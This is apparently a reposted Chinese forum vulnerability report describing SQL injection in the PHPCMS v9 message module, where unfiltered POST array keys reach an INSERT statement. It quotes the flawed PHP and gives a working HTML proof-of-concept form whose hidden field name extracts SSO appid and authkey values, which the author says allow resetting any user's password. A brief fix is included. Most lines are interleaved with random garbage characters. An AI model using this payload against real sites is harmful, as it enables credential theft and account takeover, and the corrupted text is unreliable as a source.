|
简要描述:! _( u' b- J' B- @) h
9 ^1 o" S0 o) L. ]4 m- X) | \; a3 F
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
& b! ?& F5 w. U% j0 {; F6 U, _* H1 x" K! e( A+ `
明天再更新下一个漏洞。
4 i+ `6 q( c, C5 F* V: i' h5 s详细说明:4 w& h3 Q" l3 K8 g4 `
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
( G8 y4 p' ^9 \1 o4 v2 W8 J2 D" @% z8 o& o9 L# G8 k& T
$messageid = $this->message_db->insert($_POST['info'],true);
' I$ P" K6 U& K6 Y- h4 _8 E
( A6 N# S# a$ y+ ^) F; D) b) h0 |7 Q! ?1 j0 F8 L
insert方法是key value的,代码如下:* [2 W, Z8 z. b5 W
) Z' ~3 W+ f8 J( G' K
public function insert($data, $table, $return_insert_id = false, $replace = false) {
7 O. g6 t, X" v+ [0 U if(!is_array( $data ) || $table == '' || count($data) == 0) {
" ~- I, j( q* `. u; Y0 `& M! s9 ~ return false;
3 Q `- W+ |# [4 H; p1 e) T }; Q2 s' Z! g" ~
( m& n, a- j$ |
$fielddata = array_keys($data);
$ `' k N8 K3 i9 T) z* a- K' ~ $valuedata = array_values($data);( Y# n+ N' t: ~: ?( r7 |7 M6 B
array_walk($fielddata, array($this, 'add_special_char'));
2 P# Z, @8 B- [" ~3 i% H+ m array_walk($valuedata, array($this, 'escape_string'));
4 r2 g6 { X. M; |: S * I2 K% O( B2 g9 [7 I+ X/ T( O
$field = implode (',', $fielddata);# R, y" @7 J$ e
$value = implode (',', $valuedata);# h7 ]. y- l' h8 V1 s9 ~
7 ]6 O$ `6 n1 V1 n $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';$ y5 y+ W; C& [ z: G
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
9 `& T' \) V" I* D+ d; X $return = $this->execute($sql);
9 W5 g$ v! j) B8 l! L' Y3 Y return $return_insert_id ? $this->insert_id() : $return;
6 d% N6 N) ~) e; p }
1 G% F$ S y5 n* U' ]0 a3 p s# m! h& [: _7 ?( @7 K- \4 f
7 R) }# }2 }. M嗯,很遗憾的是
/ i! a/ j7 x6 S- f2 b. j* T8 I5 W; d. F) g: H' i/ E; B8 Q
array_walk($fielddata, array($this, 'add_special_char'));
4 e U" T: J. {( T+ k2 q/ K9 F& W* Q/ m( r: K' {- w& Y
, ?& _$ F+ [0 D* L& p
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。5 q3 }- T( I0 T0 N
8 T+ Y6 A( ?8 v& i
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
6 w3 d. T* K, q% Z6 R
$ }. s8 W* U( S2 @, Y漏洞证明:* B; G! e5 _, C
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。& c' y2 n( E6 ]2 W" S( X
4 W8 Y& N: w" D
0 \* x1 E3 g- i* B* Y
表单如下:用户名什么的得自己改一改。
! A% L2 ^/ i; E6 {( X- V<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
) I9 M! V+ w+ g( \% g' V& T<table width="100%" cellspacing="0" class="table_form">
0 ?& h. V/ D* H9 W# m<tr>
( N/ p* m6 W3 g7 k, b! g% y<th>标 题:</th>0 w+ o# e/ V) n6 }/ |
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
& N, n/ { R% T8 E, t2 u</tr> & x$ `0 a Y0 _3 @5 N0 F8 Z
<tr>
' b, D6 ]: ~) ^( N; [) y<th>内 容:</th>* a6 y S5 H2 |! W3 T# z4 K: f
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>& w, l8 ~- n6 _: N: `
</tr>
$ V! n* t/ U z' e1 B4 a n<input type="hidden" name="info[replyid]" value="2" />
+ y7 \* Z/ D" s2 r, ~9 R; _; }<input type="hidden" name="info[send_to_id]" value="cc" /> 7 r+ I- @ }( L7 u! ^
<input type="hidden" name="info[send_from_id]" value="hh">
& f- K) f( D, h5 f7 o" M3 r<!-- 漏洞的利用重点在这里开始 -->
) {; C+ D; l0 g) M7 E& W1 v+ x- Y$ H<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 4 q: ]+ X# G* r; s" j4 S- d
<!-- 漏洞的利用重点在这里结束 -->. U0 a6 ~* i9 F6 j& i
<tr>
" ]$ z1 f' a! p4 n<th>验证码:</th>9 d s. w8 g7 V& T U
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
3 a1 `: f; d9 F9 B9 y d P. I# F( b</tr>
' Z) R) e) F: g2 M9 \! H<tr>1 E* b4 p5 z! I. D' M3 y9 `
<td></td>" l) y8 E$ K) B e$ {
<td colspan="2"><label>
/ v- I6 F. Q0 i2 x$ j1 z6 h# T<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
0 x$ R( Q2 k! S2 {2 e7 m</label></td>! y; R: j$ I4 _5 x
</tr>9 m+ ~9 W S$ ?! P. u
</table>
$ T1 i1 t5 J. y0 ~) q2 N' W</form>5 S) U1 f j' u: ^" t% H$ w7 U
在add_special_char函数内对key做过滤就可以了。( f/ ]8 s) U' f5 C8 T" `
) P, X$ ?) ~; J/ v3 P: N( T# |3 I6 Z. Y+ b J/ w
2 L% Y: F+ x$ c' b |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|